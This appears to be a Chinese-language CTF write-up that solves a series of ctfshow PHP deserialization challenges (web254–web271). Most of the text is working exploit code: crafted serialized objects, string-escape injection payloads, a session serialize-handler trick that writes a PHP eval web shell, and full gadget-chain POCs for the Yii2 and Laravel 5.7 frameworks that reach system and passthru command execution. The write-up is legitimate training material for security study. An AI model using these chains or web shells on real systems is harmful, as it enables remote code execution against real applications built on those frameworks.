web254
这关好像和反序列化没什么关系
payload ?username=xxxxxx&password=xxxxxx
web255
/223653.png)
这里让我们让反序列后的结果是ctfShowUser的实例化对象。又因为只有$this->isVip是true才能是flag,所以反序列化的内容为
<?php
class ctfShowUser{
public $isVip=true;
}
$a= serialize(new ctfShowUser());
//O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}
//由于cookie中将;作为截断符号,所需要编码绕过,这里采用url编码
echo urlencode($a);
//O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web256
这关需要序列化一个username或password使其反序列化后互不相同就行了
<?php
class ctfShowUser{
public $username='haha';
public $isVip=true;
}
$a= serialize(new ctfShowUser());
echo urlencode($a);
?>
//运行结果
O:11:"ctfShowUser":2:{s:8:"username";s:4:"haha";s:5:"isVip";b:1;}
//url编码处理后:
O%3A11%3A%22ctfShowUser%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22haha%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web257
__construct
当对象被创建的时候自动调用,对对象进行初始化。当所有的操作执行完毕之后,需要释放序列化的对象,触发__destruct()
魔术方法
因此我们只需要在执行__construct
的时候初始化backDoor类,方便我们进行命令执行的利用,之后反序列化结束后,会执行__destruct()
,此时eval($this->code);
等价于eval(system('cat flag.php');)
<?php
error_reporting(0);
class ctfShowUser{
private $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code="system('cat flag.php');";
public function getInfo(){
eval($code);
}
}
echo urlencode(serialize(new ctfShowUser()));
?>
//要在输出时就要url编码,否则会遗漏掉空格
最后生成反序列化的数据:
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D
web258
这关多了一个正则表达式:/[oc]:\d+:/i
。意思是过滤这两种情况:o:数字:
与c:数字:
只需要把O后面的数字前加个加号就可以绕过了(o:+数字:)
<?php
class ctfShowUser{
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code='system("cat f*");';
}
$a = serialize(new ctfShowUser());
$a = str_replace('O:','O:+',$a);
echo urlencode($a);
?>
//运行结果
O:+11:"ctfShowUser":1:{s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:17:"system("cat f*");";}}
//URL处理
O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system%28%22cat+f%2A%22%29%3B%22%3B%7D%7D
web259*
web260
这题就简单了,直接序列化一个包含”ctfshow_i_love_36D”的字符串
<?php
class ctf{
public $c="ctfshow_i_love_36D";
}
$a=serialize(new ctf());
echo urlencode($a);
payload:ctfshow{3d3ba94d-0c6c-4ae8-8113-b34d15d286b9}
web261
注意:
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
//此特性自 PHP 7.4.0 起可用。
__destruct
函数部分弱比较 $this->code==0x36d
,因为 $this->code = $this->username.$this->password;
,username
可控制,因为 (int)'877.php' == 0x36d
,故传 877.php
即可绕过。
<?php
class ctfshowvip{
public $username;
public $password='';
public $code='';
public function __construct(){
$this->username='877.php';
$this->password='<?php eval($_POST[1]);?>';
}
}
echo urlencode(serialize(new ctfshowvip()));
?>
payload: vip=O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3Bs%3A0%3A%22%22%3B%7D
web262
方法1:非预期
因为message.php页面中的cookie我们是可控的,所以我们可以直接将序列化加密之后的字符串赋值给cookie即可。
<?php
class message{
public $token='admin';
}
echo urlencode(base64_encode(serialize(new message(1,2,3))));
/223637.png)
方法2:php反序列化字符串逃逸
字符串逃逸类似于注入,逃逸有一个特征:对序列化后的字符串进行了替换、而且替换后造成了字符数量的不一致,有两种情况,一种是替换后变长,一种是替换后变短。此题将fuck替换成了loveU,所以是变长。
我们先看看这个:
<?php
class message{
public $from='1';
public $msg='2';
public $to='fuck";s:5:"token";s:5:"admin";}';
}
echo urlencode(serialize(new message()));
//结果解码后为O:7:"message":3:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:31:"fuck";s:5:"token";s:5:"admin";}";}
可以看到,这里的s:31:”fuck”中fuck应该是四个字符,而这里却是31个,因为这里的31个字符包含了后面的一堆字符fuck";s:5:"token";s:5:"admin";}
,共27个字符,而要使这里的数字于字符数对应,我们就可以用到题目给的字符串替换,将fuck替换成loveU,每替换一次就会多一个字符,不难想到,如果替换27次,那么就相当于这里将后面的常量字符串数量天衣无缝的弥补上了。
payload:f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
最后访问message.php即可
web263
用扫描器扫到了www.zip和check.php
/205319.png)
我们可以通过修改 $COOKIE['limit']
来控制 session
的内容。
inc/inc.php:
<?php
...
ini_set('session.serialize_handler', 'php');
session_start();
...
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
...
我们需要知道session_start()这个函数已经这个函数所起的作用:
当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。
这里使用 ini_set
指定了 serialize_handler
为 php
,如果默认的 serialize_handler
为 php_serialize
,就可以通过在序列化的字符串之前加 |
,反序列化任意对象。
php_binary: 存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php: 存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4): 存储方式是,经过serialize()函数序列化处理的值
注意:在 php 5.5.4
以前默认选择的是 php
,5.5.4
之后就是 php_serialize
,这里的 php
版本为 7.3.11
,那么默认就是 php_serialize
。
那么思路就很清晰了,首先在 $COOKIE['limit']
中构造 |+序列化对象
的字符串,访问首页写入 session
,再通过 check.php
加载的 inc.php
中的 ini_set('session.serialize_handler', 'php');
将 session
以 session.serialize_handler=php
的格式反序列化,执行 User
类的 __destruct
方法写 shell
。
首先构造payload:
<?php
class User{
public $username = "c.php";
public $password = "<?php @eval($_POST[1]); ?>";
public $status;
}
$a = new User();
$target = '|'.serialize($a);
var_dump(urlencode(base64_encode($target)));
//fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiJjLnBocCI7czo4OiJwYXNzd29yZCI7czoyNjoiPD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4iO3M6Njoic3RhdHVzIjtOO30%3D
更改 cookie
后访问 index.php
,然后访问check.php或inc/inc.php进行反序列化,最后访问log-c.php传参即可
web264 反序列化字符串逃逸
与262关不同的是这里用的是session,所以不能非预期了
反序列化字符串逃逸:
f=1&m=2&t=3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
访问message.php时还需要在cookie中添加msg,值任意
web265 反序列化中指针引用
token的值是一个随机值,我们要想传值给password,使其与token相等是不可能的,那么就只有把password的地址传给token,使password跟着token的改变而改变。
<?php
class ctfshowAdmin{
public $token=1;
public $password=1;
}
$a = new ctfshowAdmin();
$a->password=&$a->token;//让passwd的值随token变
echo serialize($a);
//运行结果
O:12:"ctfshowAdmin":2:{s:5:"token";i:1;s:8:"password";R:2;}
web266 php不区分类名的大小写
php中:
区分大小写的: 变量名、常量名、数组索引(键名key)
不区分大小写的:函数名、方法名、类名、魔术常量、NULL、FALSE、TRUE
所以这道题解法呼之欲出:因为正则表达式区分了大小写,所以我们可以使用大小写绕过,然后反序列化ctfshow类,这样就不会报错,脚本正常结束之后,就很调用__destruct()魔法方法,输出flag。
<?php
class Ctfshow{
}
echo serialize(new Ctfshow());
//O:7:"Ctfshow":0:{}
/114148.png)
web267
先用admin弱口令登录
/155148.png)
在about页面发现提示?view-source
访问url/?r=site/about&view-source得到反序列化点
/155604.png)
POC:
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'tac /flag';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
get传参,得到flag
?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6ODoicGFzc3RocnUiO3M6MjoiaWQiO3M6OToidGFjIC9mbGFnIjt9aToxO3M6MzoicnVuIjt9fX19
web268
这里需要换一条链子:
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'ls';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}
// poc2
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}
}
}
namespace{
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>
web269
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'ls';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
web270
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'cat /fl*';
}
}
}
namespace yii\db{
use yii\web\DbSession;
class BatchQueryResult
{
private $_dataReader;
public function __construct(){
$this->_dataReader=new DbSession();
}
}
}
namespace yii\web{
use yii\rest\IndexAction;
class DbSession
{
public $writeCallback;
public function __construct(){
$a=new IndexAction();
$this->writeCallback=[$a,'run'];
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
web271
laravel5.7反序列化
<?php
namespace Illuminate\Foundation\Testing{
use Illuminate\Auth\GenericUser;
use Illuminate\Foundation\Application;
class PendingCommand
{
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct(){
$this->command="system";
$this->parameters[]="dir";
$this->test=new GenericUser();
$this->app=new Application();
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $bindings = [];
public function __construct(){
$this->bindings=array(
'Illuminate\Contracts\Console\Kernel'=>array(
'concrete'=>'Illuminate\Foundation\Application'
)
);
}
}
}
namespace Illuminate\Auth{
class GenericUser
{
protected $attributes;
public function __construct(){
$this->attributes['expectedOutput']=['hello','world'];
$this->attributes['expectedQuestions']=['hello','world'];
}
}
}
namespace{
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。